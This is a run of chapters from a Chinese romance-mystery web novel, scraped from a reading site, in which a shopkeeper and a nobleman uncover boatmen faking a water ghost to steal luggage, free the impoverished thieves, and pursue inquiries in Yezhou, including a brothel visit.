“玉春楼也有这种酒桶。”那时,谢辛辛故意凑上他的耳垂,咬着字道,“既可用来发酵,又可用来储存,密封性极好,沉在江里也不会漏水。” 阿凤和郑瑾瑜一觉睡过了这件事,一时不懂二人所言为何。陆清和简言之,让他们把每个箱子都打开检查一遍。 乌木大箱的盖子被逐个揭开,于箱身撞出哐当哐当的声响。郑瑾瑜一面开个盖子,一面嘴里念叨:“这个没少,这个也没少。” 箱子打开的越多,谢辛辛的脸色就越僵硬。几排箱子检查下来,竟然都没有问题。 陆清和微微皱眉。 难道是想多了?谢辛辛心生疑惑。 她本以为郑瑾瑜租了一艘黑船——船家偷偷将富有船客的行李藏进酒桶,沉在江里,谎称是水鬼偷走。事后再将船开回来打捞,利用水鬼的传说,神不知鬼不觉完成盗窃。 “莫非这些酒真的是单纯被喝掉了?”谢辛辛自言自语道,“不对啊,喝了也得把桶留着啊。” 陆清和上前用指关节瞧了瞧桶身,发出清亮的敲击声。 空的。 她顿时觉得奇怪,箱子回来了,空酒桶却消失了? 直觉告诉她,她的猜测没有问题。可事实摆在眼前,又是她那一番猜想难以解释的。她闷头走出货舱,心中总觉惴惴,不知不觉走向二层的观景台。 夜幕无星,她挑了个矮凳坐下,拖着腮望着江面。 风拂过她一缕碎发,轻柔地挠在脸颊上。谢辛辛仍介怀着箱子失窃一事,苦思冥想,没有去管。忽然间一只手伸过来,将她的头发拨在耳后。 她一怔,抬眼却看到陆清和触电般将手缩了回去。 眼前人面色平静,好像刚刚替她拨弄头发的不是他一般。 谢辛辛在心里笑了一声。 假正经。 口上却笑吟吟,向他道:“来啦。” 陆清和才将目光望向她。二人在亭中一站一坐,趁着夜风,对视一眼,别有一番画意诗情。 陆清和清了清嗓子,方道:“怎么一个人走出来了。” “嗯?”她没反应过来,迷蒙着答,“怎么了?” 难道来这吹会儿晚风,还要向他提前报备不成? “无事……”陆清和沉吟片刻,道,“我们走了,郑瑾瑜一个人要再合上那些箱子,似是骂了几句……” 居然把这茬忘了! 谢辛辛一拍脑袋,郑瑾瑜骂骂咧咧的样子浮现在眼前,她不禁笑了出来,想了想,又道:“那你呢?跟着我出来的?” 17. 缘波讨源 《钓系掌柜只想逢场作戏》全本免费阅读 月色无声洒落,夜晚的苕江泛着鳞鳞波光。 晚间船工多爱躲懒,睡意朦胧地踩着轮浆。画舫似一只凫水的鹅,踩着江水,一起一落地前行。 忽然谢辛辛的声音如平地落雷: “停船!” “停——船——!” 打盹的船工一哆嗦:“发生什么事?” “丢东西了,快停船!” 见来人是个年纪轻轻的女子,船工们相视一笑,都道:“这位娘子,客人在船上丢了东西,在船上找便是,何故停船啊?” “郑瑾瑜是钱未给足你们么?”谢辛辛冷冷道,“你既知我是客人,听了我的话,还不停船?” “行船的规矩,小娘子不懂也是正常。”几名船工便哄笑起来,一人道,“先不说苕江本就航道拥挤,本地江行规制并不许客船中途停泊。这在有风的晚上半路停船,即便抛锚,也多半走锚,未必能停住。” 原来如此,有此种缘由,船客哪怕及时发现行李已被偷换,多半也会放弃追查。 真是好算计。谢辛辛心中暗道。 如此精心筹谋,只可惜诓错人了。若不是谢家鼎盛时候,也常走水路河运运销货物,谢辛辛从小便对苕江治理办法有所耳闻,只怕也会被他骗过。 “苕江经流黄河,官衙自春分左右征调人手清理淤泥沙,之后一直到冬季停航都不再清淤,如今正是苕江河床泥石最多的时候,你尽管下锚便是。” 谢辛辛面露笑意,气定神闲,“怎么?这风平浪静的,也不敢下锚?原是你们行船的技术不行,合该这船只收取十五两银子一人呢。” “你……” 谢辛辛挑了挑眉。 论阴阳怪气的本事,她自认无人能敌。 谁知这几名船工像是粗野惯了的,不仅不吃她的激将法,反而被说得有了脾气,一位身材最为高大的似是格外生气,起身将她逼退了几步,挥手道: “不会开船就莫添乱,走,走。” “哎!?” 有了那个高大船工打头阵,她被几个身材壮硕的船工一齐逼往客房的方向。谢辛辛推着他们,急声道,“你们干什么!再不停船就行远了,待驶离抛脏的地方就来不及了!” “什么抛脏,抛什么脏?”船工毫不在意,只道,“姑娘回去休息吧,明日就到邺州。” 争闹着,一人伸出手来,竟是要生生将她推出轮桨室外的样子。她心急如火,心想大不了她自己将铁爪锚先丢往江里一丢就是,虽不懂下锚的方法,也总比就这么让船开远了要好。 正在此时,一只寒光凛凛的短剑忽然横在谢辛辛肩前。 “找死。” 短短二字,陆清和声色冷峭如寒冰,将几名船工吓退数步。 一袭白衣挡在谢辛辛的身侧。 这是她第二次看见他的这柄袖剑。 她不免回想起前几日的陆清和,那个眸光幽冷,与她互相算计的人,如今却持剑立于她面前。 她笑得明媚: “陆清和,你来得正好!” 眼前的人似乎侧了侧头,将袖剑一收,浅浅嗯了声,道: “莽撞。” ……行吧,还是一样的可恶。 紧接着身后传来一人夹着哭腔的呜咽: “停船,听他的,停船!” 众人向声音方向一看,顿时骇然。早些时候带着谢辛辛一行人下货舱的船工面如土色,不知何时双手被缚,双腿颤抖地向前走,走了几步,众人方看见其后腰抵着一柄月牙状的匕首——这匕首正握在阿凤的手里。 船工们来不及错愕,就被这人几嗓子“快停船,想看我死吗”吓破了胆子,手忙脚乱的拥上甲板往水中下锚。郑瑾瑜跟在阿凤身后狐假虎威,骂道: “非得小爷动几下刀子你们才识相。” 阿凤手持匕首,怨怼地看了他一眼,用目光控诉:是你动的刀子吗? 一众船工七慌八乱将八爪铁锚往船尾一丢,几人便见连接着锚爪的绳索在水中被稍稍拖行一阵,便稳稳不动了。画舫在江中停止了前行,只随着细浪微微浮动。 被阿凤用短匕指着的人才放下心来,央求道:“船停了,可以把我放开了吧?” 阿凤却充耳不闻,硬是将刀剑往前又送了送,吓得那人即刻软了下来,低着脑袋连声唉哟。 一双干干净净的玉色高靴踩在他面前。 他抬起头。 陆清和自高处看向他的眼睛,面色淡然,却无来由使人心中不定。 “同伙是哪个?”陆清和问他,目光却落在那几个忙活的船工中身上。 那人神色凄怆,沉默了半晌,直到阿凤用匕首往他腰窝一顶,他才哑声怆然道: “那个最高的。” 阿凤闻声,收刀入鞘,忽如一只利鹰冲进了人群。几名船工还未反应过来,阿凤提着刀鞘往那最高大的船工膝间连打两下,又提脚一踹,一套动作不过一息,已将那壮汉打得跪倒在地。 阿凤摸出麻绳,动作熟稔地将这人双手也缚于身后。 曾经装作道士的那一位愣愣地看完了这一切,才觉过味来,拔腿就跑,被阿凤一脚踹中膝盖,摔倒在地。于是麻绳几下穿梭,将两人绑在了一处。 “好!”郑瑾瑜拍手高呵。 见周围没人配合他鼓掌,他默默收回手,不甘心地补上一句: “阿凤厉害!从今天起我认你为大哥!” 高个壮汉眼中愤懑,还欲挣扎,被阿凤一掌拍得往地上一扑。 “报上名来!”阿凤单手提着束手的绳结,呵道。 “……刘关。”壮汉道。 “刘启。”学道士的那人小声道。 刘关以一种扭曲的姿势被阿凤制在甲板上,仍用一双眼死死地盯着陆清和。 “东西在哪?”陆清和淡淡问道。 刘启低头不言,刘关则是不屑地哼道:“装什么?船都停了,你们不是早就猜到了?” “嗯。”陆清和并不否认,指着身边那个最早被绑的船工道,“兄弟三人作案?还是整艘船都是同谋?” 余下几名船工互相瞪着眼,全是懵然不知状。 “他不是我们兄弟,他姓黄!”刘关声音高了些,“是我威胁黄大哥的。我逼他在夜里找机会大喊水鬼来了,等船上乱作一团,我才有机会碰那些箱子。他若不从,我第一个砍了他!” 姓黄的船工闭上眼,无声流泪。 谢辛辛却道:“这话不对,你若是有胆砍人,何须如此偷偷摸摸,还将赃物沉在水底,只待事后打捞?大可以去当强盗土匪,而不是在这利用你黄大哥和刘启假冒水鬼。” “什么?水鬼是假的?” “是刘哥刘启假冒的?” 船工们窃窃私语。 18. 玩心大起 《钓系掌柜只想逢场作戏》全本免费阅读 过了中秋就是九月初一了,父亲无辜遇难,母亲一病不起,刘关成了家中支柱,没日没夜地在农田里收粳稻。 刘启就在这时候起了自己的心思。 刘启刚要说下去,郑瑾瑜插话道: “九月初一怎么了?”。 刘启被他问得一愣。 刘关讥嘲道:“到底是公子哥儿呢,我们穷人眼里天大的日子,在你们看来也就是眼睛一睁一闭的事。” 刘启便解释:“九月初一后,就要来人收田赋。今年这个形况,大哥就是收完地里的稻子,卖得应缴的数目,十月之后又要粮租……家中既要给爹发丧、又要给娘治病。再不想想法子,一家人都得挨饿。” “所以你们就想到,在船上冒充水鬼行窃?” 刘启垂头道:“不是。” 刘关呸了一声,骂道:“这小子,差点把自己卖了。” 吃饭要钱,买药也要钱。日子本就紧巴巴的,若再缴上七十余贯的田租,家里便彻底揭不开锅了。 而像刘启这样一个年轻力壮的男丁,能卖上十贯。 人贩子的价格,谢辛辛是知道的。因谢家遭逢不测,她自己用人时,对没了双亲的伙计总格外照顾。 久而久之,黑市贩子不知从哪儿听说了玉春楼有个喜欢收留孤儿的谢掌柜,便总有人贩子带着无父无母的孩子来找她。女子五贯钱,男子十贯钱,偶有急着卖身葬父母的,价钱还能更低。 刘启就找了个这样的贩子,把自己卖了。他自己不要钱,但请人贩子将钱送回刘家去。 直到跟着人贩子上了船,刘启还在问他卖身的钱什么时候能送到家。 说到此处,刘启紧咬牙关,重重锤了下地板。 黄船工苦笑,接着话道:“他们上的便是我的船。” 据他所说,人贩子本要打邺州顺着苕溪北上,将刘启卖到鹤州去。 “干这买卖的,哪有善茬?那黑心肝的,一开始就没想给他钱!等我听到刘启这小子和那人吵起来的声音,过去一看,刘启已经被那几个贩子打得昏在地上,一点儿声都没了。” 刘启狠狠道:“要不是他们人多,我差点就咬掉他耳朵了!” “还不是被打成那样。”刘关啐道,“要不是黄大哥给你救回来……” “大哥,我知道。”刘启点头,哽咽了,“多亏了黄大哥救了我的命,给我治伤,还收留我在船上干活。所以这事都怪我,合该我一个人进去坐牢的。” 他向陆清和道,“大人,黄大哥是好人。阿娘听说我被打成那样,急得一下子发了病。这时间苕江上正好闹鬼,为了给阿娘买药,是我一时昏了头,才想出了冒充水鬼偷东西的法子。黄大哥和我哥都是被我拉入伙的。我一人做事一人当。” 刘关听得又爆了粗口,嚷嚷道:“你是个……的一人做事!要坐牢咱们一起坐!” 刘启流着泪,只对着刘关摇头,口中念着:“我一人去牢里,家里正好少一张吃饭的嘴。” 刘关看着他,也落泪了,眼泪鼻涕都横在脸上,嘴里叫骂: “天杀的,什么世道,好好的人,一辈子没犯过事,去打个矿就没了。好好的家,一下子死的死了,病的病了,剩下的都去坐牢,哈哈……哈哈哈!” 船上的人都默然无言,唯有刘关若疯魔了一般,半跪着,仰面向天发出癫狂的笑声。 谢辛辛心中骇然。 邺州矿脉出事,在郭知州口中,是寻人替子翻案的一段引子。在宣王世子的信里,是要谢辛辛协助陆清和的一桩急事。而落在刘关刘启头上,却如狂风骤浪,将一个平凡的家庭摧毁了。 她再次想起了胡捕快的夫人。胡夫人只是想要卖点酱菜贴补家用,却因宣王府管事的一时兴起,再也没有了平静的生活。 刘关刘启和他们的父母何尝不是只想好好生活?一场矿难却成为了压倒刘家的最后一根稻草。 而她知晓,这矿难的真相且还迷雾重重,关乎宣王府,关乎郭知州,也许还关乎北瑛王。 好像寻常人家想要顺遂一生是那么难。上面的一个念头,就能引倾天巨浪,排山倒海而来。 这个想法像一只手将她的胃狠狠揪紧,她忽然一阵翻江倒海,冲到栏杆处对着船外呕吐起来。 谢府的牌匾在火中烧成焦黑的景象忽然又在她眼前浮现。 谢家那场火,难道也是类似么? 她不知道自己吐了多久,直到一只熟悉的手拍了拍她。她强撑着抬头—— 是陆清和递来一粒剥好的橘子。 …… 刘关又哭又闹的,把本已睡下的船工惊醒了不少。一船人将渔网洒进江里,再让画舫在这片区域反复游了几个来回,捞起数只木桶。直到郑瑾瑜点清了行李数目,说“一个不少”,陆清和才下令让船继续往邺州走。 这一折腾就多耽搁了几日。原本经此一事,船上的气氛就有些压抑。郑瑾瑜也不知是不是因为遭窃一事,更是终日神色郁郁,连谢辛辛笑他是“打了蔫的兔子”,他也只是气鼓鼓地不作声。 这段时间姓黄的船工和刘家兄弟就关在货舱,由阿凤给饭食。第一天还能听到刘关吵嚷几句,几日下来也渐渐安静了。众人隐隐有了共识:一到邺州,陆清和就要提这三人去衙门处置。 临到邺州前一晚,陆清和疰船,在房中闭目养神。谢辛辛百无聊赖地吹着江风,手里捏着几片橘皮。 那时她是因一时气血上涌导致的呕吐,陆清和却以为她也疰船,现拿新鲜的橘子剥给她。 后来她把橘子吃了,橘皮却留着。两日过去,橘皮失了水分,变得干干瘪瘪的,一捏便有在小厨房掰豆荚似的脆响。陆清和闭门不出的时候,谢辛辛就靠这个打发时间。 正愁没有事做,郑瑾瑜忽然凑了过来。谢辛辛看了他一眼: “你今日倒是精神了。” 郑瑾瑜兔子般的眼神闪着光:“阿凤都是什么时辰去给那三个人送饭啊?” 谢辛辛道:“每日午时、酉时,送两次。” “其它时间都不进去?” “不进去,陆清和特意吩咐的。” 说罢她斜了眼睛,笑着看他,“怎么,有想法?只是货舱的钥匙现在在陆清和身上,你有什么想法都没用。” 郑瑾瑜道:“你也觉得他们三人很可怜,我早看出来了。前几日吃饭的时候你总和陆清和提起他们,是想让陆清和把他们放了吧?” 谢辛辛挑了挑眉:“怪哉,莫非你真的变聪明了?” 郑瑾瑜得意道:“你也发现我变聪明了?不对,扯远了。 19. 江誓山盟 《钓系掌柜只想逢场作戏》全本免费阅读 她一惊,想收回手,手腕却被陆清和紧紧箍住。 “在干什么?”陆清和睁开眼,正好对上谢辛辛慌乱的眼神。 谁知过不了一瞬,谢辛辛就恢复了镇定,带着笑道: “给你梳头。” 陆清和不放手:“夜间,不点灯,闯入我房间,给我梳头?” 谢辛辛道:“是啊,我娘说过,睡觉之前梳头可以抏摩头皮,经常这么做的话,人会变聪明。” 陆清和道:“可我已经睡了。” 谢辛辛道:“所以我才不点灯,是为了不吵醒你。” 陆清和顿了顿:“你觉得我不够聪明?” 谢辛辛老实回答:“并不,你很聪明,但是聪明不嫌多嘛。” 这样振振有词,躺着的人发出一声轻笑,谢辛辛几乎怀疑是自己听错了。 陆清和如今不比初识,经过几日的相处,他早已熟悉了谢小掌柜装腔耍赖的流程,自有一套应对办法。 他松手道:“那你梳吧。” 于是又闭上眼睛。 谢辛辛盯着这张玉面菩萨般姣美的睡颜,心中震惊无以复加。 这是要她给陆清和梳一整夜的头吗? 郑瑾瑜还等着她的钥匙呢! 她心中后悔着刚才的信口开河,手上略显僵硬地继续抚摸着指尖的长发。乌发从她手中一阵阵地流淌而下,偶尔能合上浪拍画舫的节奏。 空气一时静了下来。 在这样隐秘而微妙的气氛中,谢辛辛麻木地梳了半晌,突然想通了什么,莞尔而笑。 “睡了吗?”她问。 但她也并没有等待回音,轻轻道:“我走了哦。” 陆清和没有动作。 “你要一觉睡到天亮哦。” 谢辛辛最后恋恋不舍地揉捻了下枕缘的一绺乌发,起身出门了。 他的头发手感真的很好啊。谢辛辛轻快地想,阖上门前,忽然觉得自己像个一夜快活之后,不留情面翻墙遁走的负心汉。 等她到了货舱门口,早已是更深黄月落。郑瑾瑜早就在等在门口,这会正搓着手踱来踱去的,见谢辛辛来了,向她投去一个怨妇般的眼神。 “阿凤睡着了?”谢辛辛问。 郑瑾瑜含怨道:“早睡着了,你怎么用了这么久,冷死我了。” 看谢辛辛将钥匙绕在手指间轻巧一转,炫耀自己的战利品,郑瑾瑜眼里冒出星星,举着大拇哥小声赞道:“厉害。” 一阵窸窸窣窣之后,货舱的一字锁“咔哒”一声被打开。里面三人都以麻绳捆着腿脚,睡得正沉。郑瑾瑜重重地清了两下嗓子,刘关才动了动。 正以为他要醒了,两人正准备接受刘关的怒目,他却只是翻了个身,含混道: “……爹……” 谢辛辛心中一肃,推推郑瑾和: “快去给他们脚上的绳子解开。” 郑瑾瑜扭捏道:“我怕他醒过来踢我。” 刘关又说起梦话:“……爹……我好累……” 从头至尾,刘关哪怕对刘启,都是一副恨铁不成钢的模样,谢辛辛和郑瑾瑜何曾见过他如此软弱的一面。 虽然无人醒来,但二人莫名觉得这梦话再听下去便有些失礼,郑瑾瑜忙跺跺脚,大声咳嗽了两下。 三人迷蒙着眼睛醒转过来,郑瑾瑜忙赶上去先解开黄船工脚上的绳子,再解刘家兄弟的,口中道: “嘘,别出声,咱俩偷偷来的,那陆公子不知道。” 谢辛辛站在门口道:“天一亮就到邺州了,锁已经给你们打开,你们是怎么想的呢?” 刘关登时清醒了,狐疑地看着两人。刘启早已明白过来,跪在地上磕头感谢。 郑瑾瑜从怀里摸出几颗大大的银锞子,塞到三人的衣服里,道:“要我说,等一靠岸,你们就跳进水里游走,陆清和不通水性,拿你们没有办法。” “这是几个意思?”刘关接了银锞,眼睛瞪如铜铃。 郑瑾瑜挠挠头,说不出话来,谢辛辛替他道: “给你们的就拿着,该治病的拿去治病。” 黄船工听她如此说,忙推辞道: “那我用不上这些,我在船上挣的钱够糊口度日的。” 谢辛辛道:“不,你怕是回不了这艘船了。虽说揆理度情,你是出于好心帮他们二人行窃。但偷窃就是偷窃,其它船工怕是不愿意让你继续留在船上。” 三人听得脸上青白一阵,刘启垂头道: “姑娘说得是,是我拖累了黄大哥。” 郑瑾瑜道:“所以你拿着这些银子,在找到活之前也可应付过活。” 说了几句,刘关也放下敌意,几人又千恩万谢地一递一答,东边才浮起鱼肚白,刘关透过门缝看清楚四下无人,道了声“事不宜迟”,冲郑瑾瑜谢辛辛深深抱拳,便准备去甲板跳江。 邺州码头已能望见淡淡轮廓,三人在甲板上略抻了抻腿,郑瑾瑜忽然拦了一手,道: “若有难处,可以去找铁冶监的孟知监,就说是郑家公子的朋友。” 几人点了点头,噗通三声,像三尾奋力求生的小鱼,挨个落入了平风静浪的苕江之中。 谢辛辛望着江面,直到不见了他们三人的身影,忽然听到郑瑾瑜喃喃道: “应该多给些的,不知道这么些银子够不够花的。” 谢辛辛笑道:“天下百姓的苦难如沙中拾贝,数不胜数,你见到每个人都给他们银子,非把你郑家掏空不可。” 郑瑾瑜不服:“那你说我该怎么办?” 一个浅浪悠悠地拍上船身,谢辛辛不答。 她如何能知道呢?她不过也不过是黄沙之中较为体面的一个贝壳罢了,为报家仇的路上,也未曾见过谁来施以援手。 郑瑾瑜还要辩驳,却瞟见二层的观景台上,一素衣白袷的清冷身影茕立其上,施施然摇着折扇。他惊地一咬舌头,连声道: “陆陆陆公子醒了,我我我先回房去了……” 晨雾未晞,和浪煦风,谢辛辛闻言微一抬头,正正好对上二层此人似笑非笑的眼神。 她坦然地与他对视,用只有自己的能听辨的音量,轻轻叫他:“陆清和。” 远远地,不知是不是幻听,她仿佛也听到高处那人缓缓地,应了一声“嗯”。 直到画舫稳稳地停在码头前面,陆清和与阿凤都并未再去开货舱的门。郑瑾瑜疑惑之余,满脸侥幸,只缠着阿凤欢笑。谢辛辛则是在下船时寻一机会凑在陆清和耳边,小声地说: “你故意的是不是?” 少女吐气如兰,陆清和耳垂一热,微微地向侧边动了动,道: “我不知 20. 风流 《钓系掌柜只想逢场作戏》全本免费阅读 碧空如洗,同样是清早,邺州城的码头要比莲州热闹得多,光是哼哧哼哧搬运货箱的工人就有约莫几十余人。 谢辛辛被人群吸引,回忆道:“谢家从前在莲、邺二州之间也有水上的商队。小时候,我常盼着阿爹去邺州做生意。” 陆清和见她自顾自又把话题扯开去,轻叹一声,默默咽下本要出口的话。 谢辛辛并未察觉,继续道:“邺州东边有个和东洋通商的小港口,爹爹每去邺州,都从那买些宝石象牙、珊瑚犀角做的精巧摆件回来送我。” 她所述邺州与海上通商情况,陆清和未尝不知。邺州州府本就常献海外奇香异宝入宫。邺州那边几时又进献了什么新鲜稀奇的玩意,云京的王公伯爵之间素来津津乐道。 但他无意打断谢辛辛,任由她像一只小雀,唧唧喳喳地绕着他耳边说话。 “怪不得刘关刘启家靠种田无法自足,姓黄的那位船工却说他在船上做活便能糊口,”谢辛辛叹道,“这邺州的船运确是发达,人这样多。” 陆清和道:“倒不像是经受水鬼滋扰的样子。” 这话似乎意味深长,谢辛辛暂未多思。就看郑瑾瑜兴高采烈地,冲远处一人招手。 就有一身精干短打的黑瘦小厮便跑来恭敬道:“这么巧,小郑公子也是今日到邺州。” 郑瑾瑜道:“好久不见,姑姑和姑父可好?” 不等那人应声,郑瑾瑜就转过身来道:“这是跟在我姑父身边的枕书,小时候他还抱过我呢。” 阿凤反应过来,才在包袱里翻些什么。郑瑾瑜又兴奋道:“姑父定是给我安排好住处了吧,这些都是我的朋友,来邺州我要罩着他们才是。” 枕书才要张口,郑瑾瑜道:“姑父给我安排在哪处的宅子?我要去看看。我这会子带了三个朋友,若住不下可怎么办?” 阿凤道:“谁是你带的朋友?” 郑瑾瑜拍了拍阿凤:“大哥,你跟我客气什么,在船上我跟你混,到了邺州你只管跟着我混。” 枕书得了他停顿的话口,忙插一句道: “公子,孟大人没有让我安排什么啊?” 郑瑾瑜道:“什么?” 郑瑾瑜道:“你不是来接我的?” 枕书为难道:“小的刚才看到您,才知道您也是今日到邺州啊。” 郑瑾瑜道:“除了我,还有谁今天到邺州啊?” 枕书道:“据说有位北瑛王府的陆二公子自云京来有要事协办,孟大人是吩咐小的在此处恭候那位陆二公子。” 郑瑾瑜看了眼陆清和,不甘心道:“那我呢?” 枕书赧然道:“……要不您自个儿先想个办法去孟府上?” 若接的是旁人,郑瑾瑜早已气得要疯。但枕书口中的陆二公子,怎么听,好像都是身边这位陆清和。 阿凤终于在包袱里翻到名帖递了上去,枕书经眼一看,忙对着陆清和深鞠躬道:“陆二公子。” 这称呼落进谢辛辛的耳朵里,她眯了眯眼。 见陆清和微微颔首,枕书道: “几位一路劳顿辛苦,孟大人本是要亲自来恭迎的,只是大人那边因为矿洞一事牵扯出许多麻烦来,这几日竟是忙的焦头烂额,只好嘱咐我先安排陆二公子到宅院里休息片刻,迟些孟大人带着本地几位知监亲自来为您接风。” “姑父给你准备了宅子!”郑瑾瑜大叫一声,委屈起来。 阿凤跳起来拍了拍郑瑾瑜,拖长了音调:“到了邺州,你只管跟着我混。” 郑瑾瑜耷拉下脑袋。 然而枕书应是考量到郑瑾瑜是孟大人的亲外甥,仍是出面在码头替他租了人手,将那十几个乌木大箱子寻了几辆架子车拉去孟家。 可郑瑾瑜将自己的待遇与陆清和一比,心里已然有了落差,黯然伤神地独自搭了马车找姑姑去了。 打发走了郑瑾瑜,枕书微微呼了口气,便主动要替陆清和领路。谢辛辛自然而然地,决定跟去宅子中同住。 几人穿过长长的青石胡同,谢辛辛摸着巷壁上凝着水珠的绿藓,道: “邺州的街景和莲州真像。” 枕书只当她是陆清和随身的侍女,与她说话之间便松懈一些,一边在前面开路,一边笑道: “几位大人是打莲州经过?想也是,唇齿相须的两州,景象应是差不到哪儿去的。不过,姑娘若有兴趣,得空可去东边的海港处瞧瞧。这海边的风貌与莲州可就不同了。” 谢辛辛笑了笑,并不接话。 在她儿时的浮想中,也想过来到邺州的一日。只不过是设想娘亲、爹爹与她一家三口,和和美美地,随着商队来遍游邺州。 时过境迁,谁能想到全谢府只剩她与刘宛独活,几十口命都沉沉压在她肩上,再儿时向往的地方,她不免有些抗拒。 不一会儿枕书便领他们到了一处居所。宅院不大,但也干净,阿凤眼里有活,当下便四下收拾起来。 听陆清和道了一声“有心”,枕书便又说了些场面话,打拱作揖地退了出去。 大门咿呀一声合上,陆清和心中盘算着先去矿山探探虚实,回身,发现谢辛辛与他脸对着脸,目不转睛地看着他。 “陆二公子……?”她带着笑,眼中却一斛冰凉,“……我忽然想起来,北瑛王是外姓王,姓什么来着?” 陆清和心中一凛。 她笑意更盛,声色却愈发凉薄,“好似也姓陆……” 陆清和道:“你误会了,我父辈跟随王爷有战功,因而蒙恩赐陆姓,姓随主家。” 谢辛辛思忖片刻,想到似乎确实听说过高官贵胄的门人立功赐姓的说法,眨了眨眼:“原来如此。” 见她欣然接受,不知为何,陆清和心中竟起了愧怍。 这种愧怍好似,在他年纪尚小时,四姨娘严厉,王妃却和善,有一回他和陆景明在王妃院子里玩耍,见陆景明窝在王妃怀里,朗声唤母亲,他莫名一悸,鬼使神差地跟着喊了一声,母亲。 王妃不觉有他,温声应下了。 可此事传到了四姨娘耳朵里。四姨娘将他叫到房中,他慌着说,绝无此事。 四姨娘沉吟一时,说,那便信他。 …… “陆公子,陆公子?想什么呢?” 陆清和被这么一点,方才回过神来。自己与孟安等人坐在邺州当地的酒楼厢房中,面前摆了几个小菜,一壶温酒。此情此景,总令他想起初至玉春楼那一日。 这场酒席是孟安为他接风洗尘备下的,说话这人却是姓徐,乃邺州市舶司的监司,主理海河水路贸易一干事由。 出门前,陆清和才被谢辛辛质问一番,因此才与孟安接上头便交代他在外只管当自己是北瑛王府的普通门客。因而席上诸人,只有孟安知他真实身份。 陆清和提杯向他虚一致意,道:“正在想来邺州的路上,听闻邺州附近水鬼作祟的传言。” “噢,这确是奇事!”这位徐知监十分健谈,顺着便道,“不光是货船、游船,我也遇上过水鬼。好在水鬼胃口不大,货船大多只丢两箱货物,散客么丢些金银细软,未曾闹出过什么大事。” “货船也遇上过?”陆清和感到奇怪,凝眉沉思。 若是载客的游船,水鬼之说多半是船工监守自盗。 但若是货船,丢了货,船家交付不上货物,于行船的人并无好处。 “可不是。”徐知监随口一应,便举杯道,“大好的日子不提这些。今日借陆公 21. 花场 《钓系掌柜只想逢场作戏》全本免费阅读 阿凤面上泛起红潮,瞪眼道:“谢掌柜,我还是个孩子。” “想什么呢?”谢辛辛弹了他的脑门,“就去门口寻几个人打听些线索,我一个女子带着小孩儿,进青楼像什么话?” 阿凤低头嘟囔:“我也不是小孩儿。我是个……是个少年郎……” 谢辛辛失笑。 不是才说自己还是个孩子? 何况为了几样好吃的就把你家公子卖了,你不是小孩谁是? 这白日青天,城中各处都一派正气祥和。唯有花萼楼附近行人皆神色紧张,有人佯装目不斜视匆匆经过,到花萼楼大门前,状若不经意地瞥上一眼,见得其中罗帐翩翩、烛火昏昏,身影朦朦,媚声阵阵。就体味这么一瞬,脸上也露出餍足之情。 孟安还欲再劝,可眼前这陆二公子任由徐知监对他勾肩搭背的,一路勾搭到花萼楼的门前,愣是不说一句拒绝。 这烟花之地也分九格三等,而花萼楼是其中最最末流那一支,价格低廉不说,里头不是卖娇弄色的荤倌儿,就是被正妻发卖的流莺。这类女子连挑选自己客人的权利也没有,连他所监管铁场里有点闲钱的工头也爱进花萼楼放纵一二。 可他把花萼楼这情况一说,陆清和听到铁场工头处,竟像是被勾起兴趣一般。 孟安满腹疑惑。哪怕陆二公子真是花场中人,可他这一派富贵尊荣,怎么看得上这类地方? 如织人潮中,孟安一脸忐忑在后,徐知监搭着陆清和的半臂在前。 在前的这二人一个烂醉如泥,像一坨半挂的狗屎;一个迎光玉立,好像下凡途中不留神踩到狗屎的仙人。 徐知监醉眼朦胧,恍惚看见一位削肩蜂腰的女子驻足在花萼楼前,满心以为是哪个出来揽客的小娘子,拖长了音调:“哟——我看看是哪个美人儿这样猴急呜哇哇哇唔唔唔唔唔!” 谢辛辛茫然转头:“我?” 陆清和一顿,径直将帕子塞进了徐知监嘴里,冷冷道:“这是看在你的面子上,不然此人舌头可以不要了。” 孟安知陆二公子是对自己说话,低头深作一揖道:“实在让公子见笑了。” 见陆二公子不理,他顺着陆清和的目光向那女人看去。此女朱裙黄衫,薄施粉黛,虽衣饰从简,却周身鸣玉金钗,自成气派,绝不是花萼楼人。 “你怎么在这里?” 二人同时发问。 就着谢辛辛这副“我了然”的表情,陆清和品出了谢辛辛话中的揶揄,胸中莫名淤堵。 谢辛辛上下看他,眼中痛惜,“陆清和,我先前说你好色薄幸四处留情,可说错了?” 陆清和抚了抚眉心,无奈道:“并非你想的那样。” 孟安虽不大通官场人情,但探花之资,到底也是个聪明的,见状已料想谢辛辛与陆清和应有一段情缘。正欲悄悄告退顺势带走徐知监,却听谢辛辛笑道: “来都来了,陆清和,你我一起进去玩啊!” 孟安惊了个趔趄。 云京人玩的确实花! …… 红纱撩人,粉香熏人,白衫玉冠的美公子落座花萼楼中,不惟面不改色,甚或身边带来一个女人,惹得几名伎子回顾频频。 至于阿凤么,年纪太小,被陆清和下令在门外等候。 鸨母是个见过世面的,一张老脸堆满讪笑,安抚他俩道:“不妨碍的,奴家做这行这么久了,什么客人都见过,女客自然也有。像这位小姐这样标致、有礼的女客,姊妹都乐意接待的。” 陆清和謦咳两声,自斟一盏茶。 茶叶飘着浮沫,乃是最劣等的粗茶。 相形之下,谢辛辛却大方自然的很,笑道:“我只是陪我家相公来的。” 陆清和猛呛了一口。 鸨母便有些不知所措,道:“这,那大爷今日想怎么玩法?” “不必了。”陆清和压着怒意,摆手道,“上一盅酒来,且退下吧,若有需要再传你。” 鸨母听了这话,才知是两口子之间的情趣,没意思地走了。 谢辛辛扁嘴道:“别呀相公,我这回都答应你了,你不是早就想来了嘛。” 闻言,周围客人都窃窃私语起来,好事的对陆清和指指点点:“看着人模狗样,心还挺野!” 陆清和一字一顿道:“谢、辛、辛。” 谢辛辛笑眯眯道:“嗯,陆清和。” 温温软软的三个音节,忽然让陆清和没了脾气。 他将粗茶一饮而尽。杯子重重落在桌上,伴着陆清和深深的一叹气。 谢辛辛一慌,以为是玩太过了,替他斟茶道:“别生气,别生气。正事重要。你不是也想来探些消息嘛!咱们俩坐在青楼,你也不叫人作陪,没的叫人生疑。我把你说成个变态,还不是为了让你融入……” 陆清和道:“你这样说,会显得我更可疑。” 另一种意义上的可疑。 谢辛辛点点头,脸上写着“那又如何”。 陆清和又道:“所以我本让你跟阿凤在外面等。” 谢辛辛道:“我不放心你。” 陆清和道:“你有何不放心……” 话音顿住。 他敛了眉目,有了一个猜想,一种奇怪的愉悦升上心头。 还能不放心什么,她把自己当未来的夫君,哪有小娘子会放心夫君进青楼的? 一丝不易察觉的浅笑浮上嘴角,却听谢辛辛道: “当时你和茗琅在一个房间里的时候就不老实。” 